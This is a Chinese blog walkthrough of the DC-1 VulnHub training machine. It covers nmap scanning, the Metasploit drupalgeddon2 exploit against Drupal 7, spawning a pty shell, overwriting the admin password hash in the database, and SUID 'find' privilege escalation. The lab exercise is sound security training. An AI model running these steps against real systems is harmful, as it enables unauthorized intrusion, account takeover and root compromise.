zoukankan      html  css  js  c++  java
  • DC-1靶机渗透学习

    前言

    最近发现了DC系列漏洞靶场,看了几位博主的文章,觉得还不错,下载了8个靶场:DC-1到DC-8。从信息收集到最后拿到超级管理员权限,可以说几乎贯穿了渗透测试的每一步,寻找一个个flag,通过flag中的指引内容,帮助我们拿到最后的root身份。

    有一说一,还真挺不错的!建议可以学习一下。

    环境搭建

    DC系列靶机下载地址:https://download.vulnhub.com/dc/DC-1.zip(DC后的数字可以换成1-8中任意一个)

    攻击机:Kali2020

    之后将靶机下载好之后,放到一个文件夹里,我们将它解压下来

     是一个ova文件,我们利用VM打开

     打开时会显示错误,点击重试就可以正常导入。

    注意:靶机与攻击机应置于同一网络下,靶机默认是桥接模式,我是把攻击机与靶机都置于NAT模式下。

    所以我们需要将靶机设置成NAT模式,让靶机与攻击机在同一网络下。

     这里我们需要记一下靶机的MAC地址,一会儿我们会用到的。

    DC-1靶机打开后呈现的界面如下:

     主机发现

    打开kali,查看ip

    现在我们已经将DC-1靶机与我们的攻击机已经在同一网段上了,现在我们就用 ifconfig 查看一下kali的ip方便获得靶机的网络号

     这个是kali的ip地址,由于是在同一网段里,所以我们靶机的网络号就是 192.168.56.0/24 

    使用namp扫描主机

    利用nmap命令 nmap -sn 192.168.56.0/24 进行扫描该网段,根据之前记下的MAC地址确定扫描到的主机哪一个是DC-1,因为MAC地址是主机的唯一标识。

     找到DC-1的ip地址是 192.168.56.173 

    端口扫描

    使用namp扫描DC-1,看看什么服务是可利用的。 nmap -sS 192.168.56.173 由扫描结果知开放端口有三个:22(ssh服务端口)、80(http默认端口)和111(rpcbind端口)。

    所以我们可以在网页上访问这个IP。

     由左下角知该网页基于Drupal, 并且为drupal7

    信息收集

    启动Metersploit: msfconsole 

    用search 命令查找与Drupal 有关的漏洞: search drupal 

    用use命令使用API注入这个模块(类似于在多个数据库时使用某一个数据库)。

    使用show options命令查看还有什么可以设置的选项,当Required=yes时表明还需要我们对他进行设置。

    Rhost文件里面定义了主机和IP地址的对应关系,并且这个文件还需要我们设置。

     选取2018的进行测试,因为有远程代码执行漏洞: use exploit/unix/webapp/drupal_drupalgeddon2 

    用 show options查看使用方法完善内容: show options 

     我们需要用set命令设置一下rhost文件

     然后用exploit进行攻击 ,当你用metasploit(漏洞检测工具)成功的入侵一台Windows主机后,你会获得一个Meterpreter 的Shell。

     Meterpreter session 1 opened (192.168.56.171:4444 -> 192.168.56.173:41637) 表示你已经用192.168.56.171这台主机成功侵入192.168.56.173这台主机,也就是靶机。

     然后我们浏览一下,这个靶机里有什么文件,利用ls命令

     从中我们可以发现flag1.txt文件,那我们查看一下flag1.txt里面的内容: cat flag1.txt 

     Flag1.txt中提示你要去找CMS中的一个配置文件。

    打开靶机的一个shell,以靶机用户的身份使用靶机,使用 python -c "import pty;pty.spawn( '/bin/bash')" 开启交互模式,之后再利用ls浏览一下有什么可用的文件。

     然后我们利用 find ./ -name "*settings*" 命令查找CMS配置文件,看到有一个默认的配置文件。

     我们查看一下这个默认文件

     从中我们看到了flag2文件,Flag2中提示我们暴力破解不可取并且需要提权。还有一个名为drupaldb的数据库,然后我们登录一下这个数据库,查看其中的内容。

     查看并打开数据库

     然后查看里面的表

    可以看到有一个users的表,估计就是存储网站注册用户的信息的表。

    然后查看users表

    表中有用户名name,加密的用户密码pass。如果pass是明文,我们就可以直接登录了,但是显然不是,用户注册时使用的明文,存储在数据库时是密文,那后台一定使用了某种方法将明文经过一定的运算产生了密文,那我们也用这种方法产生一个我们知道的密码的密码,替换数据库中的密文,这样不就可以登录靶机网站了嘛。

    某博主说密文产生的脚本是/scripts/password-hash.sh,我们来看一下,首先quit切出mysql

    然后,ls浏览文件,发现scripts文件

     

     发现了这个了,然后我们使用这个脚本生成一个我们自己所取的密码,这里我起密码为:sole

     这样就生成了sole的密文

     

     进行到数据库,重复之前操作,利用上面命令用我们新起的密码替换掉之前的密码。

    现在登录一下界面

     登录成功,然后在此界面当中发现flag3文件,现在我们再查看一下内容

     flag3提示我们要使用find进行提权。

    提权

    我们再利用 find 命令从靶机里寻找一下有关flag的信息。

     发现了flag4.txt文件和thefinalflag.txt文件,thefinalflag.txt的权限是root,也就要听flag3的提示提高自己的DC-1靶机中的权限。

    我们先查看一下flag4.txt文件里的内容。

     他还是想要我们进入靶机的root权限。

    那我们按条件查找权限:

    -perm:按照权限查找
    -type:查是块设备b、目录d、字符设备c、管道p、符号链接l、普通文件f
    -u=s:拥有者是s权限

     当中有一个/usr/bin/find文件,我们来查看一下此文件

     这个文件是有root权限的,且在这个权限下可读可写可执行。

    那我们进行提权

    -exec:对匹配的文件执行该参数所给出的shell命令。形式为command {} ;。

     然后再查看一下thefinalflag.txt文件

     OK!齐活

    参考文章

    DC-1靶机复现

  • 相关阅读:
    SAP BI 常用TCODE
    ABAP Table Control
    Smartforms 设置纸张打印格式
    SAP库存历史库存表更新逻辑 (转)
    ABAP 调用远程rfc
    php 随机生成数字字母组合
    php错误提示 open_basedir restriction in effect 解决
    MySQL Errno : 1062 错误修复
    mysql数据库允许远程连接
    httpd.conf文件与.htaccess文件的对比
  • 原文地址:https://www.cnblogs.com/awsole/p/14615314.html
Copyright © 2011-2022 走看看